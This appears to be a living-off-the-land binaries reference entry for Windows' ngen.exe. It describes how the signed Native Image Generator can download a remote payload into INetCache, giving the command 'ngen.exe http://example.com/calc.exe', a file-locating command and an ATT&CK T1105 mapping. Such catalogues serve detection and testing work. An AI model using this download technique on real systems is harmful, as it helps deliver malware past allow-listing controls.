.. /Ngen.exe

Star

Paths:

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe
• C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Acknowledgements:

• Avihay Eldad (@AvihayEldad)

Download

1. Downloads payload from remote server using the Microsoft Native Image Generator utility.

   ngen.exe http://example.com/calc.exe

   Use case

   It will download a remote payload and place it in INetCache.

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"